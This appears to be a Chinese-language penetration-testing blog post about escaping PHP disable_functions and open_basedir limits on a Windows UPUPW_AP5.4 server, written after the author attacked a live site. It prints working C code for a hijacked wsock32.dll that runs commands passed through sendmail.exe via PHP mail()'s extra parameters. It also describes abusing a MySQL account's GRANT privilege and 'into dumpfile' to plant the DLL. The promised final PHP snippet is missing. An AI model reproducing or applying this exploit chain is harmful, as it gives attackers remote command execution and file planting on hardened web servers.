最近渗透过程中遇到一个站用了UPUPW_AP5.4来搭建,这个程序是自带了sendmail.exe的,以下是我本地复现的情况:
当时目标站的disable_function是exec,system,passthru,popen,shell_exec ,proc_open,另外目标站做了open_basedir限制,只能访问web目录下面的文件。
在linux下面可以使用pcntl_exec,当然windows下面是没有加载这个扩展的。
Google一番发现COM class加载wscript.shell也可以执行命令,然而一样的没有加载这个扩展。
最后把目标放在这个sendmail.exe上。
大家都知道在linux上可以用mail来bypass disable_fucntion来执行命令,因为linux有LD_PRELOAD这个环境变量可以很方便的注入进程。
那么在windows上呢? 当然也是可以。
但是默认情况下sendmail_path在windows中并没有设置,没有值的话是不行的。
UPUPW很贴心的给了我们一个sendmail.exe
Windows下面没有LD_PRELOAD怎么办呢?
当然是DLL劫持!
我们来看一下sendmail的导入表。
找到一个不在knowndlls里面的dll,就是它了,wsock32.dll!
由于php的mail函数中的参数5是Additional parameters, 也就是说我们可以给sendmail程序加自定义的命令行!那么思路就是写一个dll解析命令行并且执行命令!
Dll劫持的代码可以由一个小工具Aheadlib来生成,不过生成的代码是不能用的,会有一千多个错误,简单替换一下就能用了,加入自定义代码如下
int argc = 0;
wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc);
wchar_t *cmd = 0;
wchar_t *outfile = 0;
for (int i = 0; i < argc; i++)
{
if (!lstrcmp(argv[i], L"-c"))
if (i + 1 < argc)
{
cmd = argv[i + 1];
}
if (!lstrcmp(argv[i], L"-o"))
if (i + 1 < argc)
{
outfile = argv[i + 1];
}
}
if (cmd && outfile)
{
DWORD tmp = 0;
HANDLE h = CreateFile(outfile, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
` SECURITY_ATTRIBUTES sa;
HANDLE hRead, hWrite;
byte buf[40960] = { 0 };
STARTUPINFOW si;
PROCESS_INFORMATION pi;
DWORD bytesRead;
RtlSecureZeroMemory(&si, sizeof(si));
RtlSecureZeroMemory(&pi, sizeof(pi));
RtlSecureZeroMemory(&sa, sizeof(sa));
int br = 0;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (!CreatePipe(&hRead, &hWrite, &sa, 0))
{
ExitProcess(0);
}
si.cb = sizeof(STARTUPINFO);
GetStartupInfoW(&si);
si.hStdError = hWrite;
si.hStdOutput = hWrite;
si.wShowWindow = SW_HIDE;
si.lpDesktop = L"WinSta0\\Default";
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
{
CloseHandle(hWrite);
CloseHandle(hRead);
ExitProcess(0);
}
CloseHandle(hWrite);
while (1)
{
if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL))
break;
br += bytesRead;
}
WriteFile(h, buf, br, &tmp, 0);
CloseHandle(h);
CloseHandle(hRead);
CloseHandle(pi.hProcess);
ExitProcess(0);
`
}
代码很简单,执行命令,保存文件,直接加入DllMain就行了。
编译之后生成一个dll,需要把这个dll和原本的wsock32.dll放入sendmail的文件夹。
那么问题来了,我们并没有读写sendmail程序文件夹的权限,怎么办呢。
此时我突然发现php连接的mysql的账号虽然不是root,但是有grant权限。。。
于是给自己grant了全部权限之后,我们就可以使用dumpfile的方式写入文件夹了,类似select unhex('xxxxxx') into dumpfile 'D:\\UPUPW_AP5.4\\sendmail\\wsock32.dll'.
这时候你会问为什么不用udf呢?
因为udf需要写入plugin目录,但是这个目录默认情况下不存在。
你会说可以用$INDEX_ALLOCATION啊,但我在本机测试并不行,远程也不行,创建文件夹本地直接提示Access denied,但是却可以创建文件。另外我本地和远程都是NTFS。
这里需要把自己编译的dll和原版wsock32.dll都写进去。
最后使用如下php代码即可执行命令:
下面是我用的完整源代码:[ wsock32.rar ]
作者:skyer